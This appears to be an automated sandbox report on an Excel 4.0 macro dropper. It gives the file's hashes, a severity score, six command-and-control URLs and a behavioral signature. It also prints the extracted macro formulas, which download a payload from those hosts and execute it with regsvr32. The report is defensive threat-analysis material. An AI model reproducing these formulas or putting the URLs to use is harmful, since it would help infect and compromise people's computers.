592e569a2a872cdcd62f9e297bbd0a91dde6488d512f3b988e254039c5df46ac

General

Target

592e569a2a872cdcd62f9e297bbd0a91dde6488d512f3b988e254039c5df46ac
Size

45KB
Sample

241120-w4mcla1gqr
MD5

b2f3ee47d17dd6dd0982653a5675d277
SHA1

087b5e64b5bbb4a46a13b51d8bff7c5f808277ac
SHA256

592e569a2a872cdcd62f9e297bbd0a91dde6488d512f3b988e254039c5df46ac
SHA512

511fe9a51f9037408f982d93a1d4430e51a5765047bad3fa6905d53f76e447a6bfa543f6f49d51dbc55fa8579a2858175e05bf188349bc3afcc64390b8d9f2c2
SSDEEP

768:EBXcCsqi1O3bQkzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+U60Us:EBXcC5iybdtT5fTR4Lh1NisFYBc3cr+A

Score

10^/10

Malware Config

Extracted

Rule

Excel 4.0 XLM Macro

C2

http://sorathlions.com/tmp/FlTSgo/

http://www.ajaxmatters.com/c7g8t/vkw42Xr0hItVeGsaO9D/

https://uzamart.com/indrawal/GZ7bN0V68oRpN7/

http://51.222.72.237/wp-includes/aF5qo4EV0Nr1vMGyHP/

http://centrobilinguelospinos.com/wp-admin/7Hm58jhbiYSrd1TKvtG/

http://blog.centerking.top/wp-includes/PZ823VXII8/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sorathlions.com/tmp/FlTSgo/","..\xda.ocx",0,0) =IF('EFEGVE'!F12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/vkw42Xr0hItVeGsaO9D/","..\xda.ocx",0,0)) =IF('EFEGVE'!F14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://uzamart.com/indrawal/GZ7bN0V68oRpN7/","..\xda.ocx",0,0)) =IF('EFEGVE'!F16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://51.222.72.237/wp-includes/aF5qo4EV0Nr1vMGyHP/","..\xda.ocx",0,0)) =IF('EFEGVE'!F18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://centrobilinguelospinos.com/wp-admin/7Hm58jhbiYSrd1TKvtG/","..\xda.ocx",0,0)) =IF('EFEGVE'!F20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://blog.centerking.top/wp-includes/PZ823VXII8/","..\xda.ocx",0,0)) =IF('EFEGVE'!F22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xda.ocx") =RETURN()

Extracted

Language

xlm4.0

Source

1
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "http://sorathlions.com/tmp/FlTSgo/", "..\xda.ocx")
2
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "http://www.ajaxmatters.com/c7g8t/vkw42Xr0hItVeGsaO9D/", "..\xda.ocx")

URLs

xlm40.dropper

http://sorathlions.com/tmp/FlTSgo/

xlm40.dropper

http://www.ajaxmatters.com/c7g8t/vkw42Xr0hItVeGsaO9D/

Targets

- Target
  
  592e569a2a872cdcd62f9e297bbd0a91dde6488d512f3b988e254039c5df46ac
- Size
  
  45KB
- MD5
  
  b2f3ee47d17dd6dd0982653a5675d277
- SHA1
  
  087b5e64b5bbb4a46a13b51d8bff7c5f808277ac
- SHA256
  
  592e569a2a872cdcd62f9e297bbd0a91dde6488d512f3b988e254039c5df46ac
- SHA512
  
  511fe9a51f9037408f982d93a1d4430e51a5765047bad3fa6905d53f76e447a6bfa543f6f49d51dbc55fa8579a2858175e05bf188349bc3afcc64390b8d9f2c2
- SSDEEP
  
  768:EBXcCsqi1O3bQkzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+U60Us:EBXcC5iybdtT5fTR4Lh1NisFYBc3cr+A
Score

10^/10

discovery
- Process spawned unexpected child process
  This typically indicates the parent process was compromised via an exploit or macro.
behavioral1 behavioral2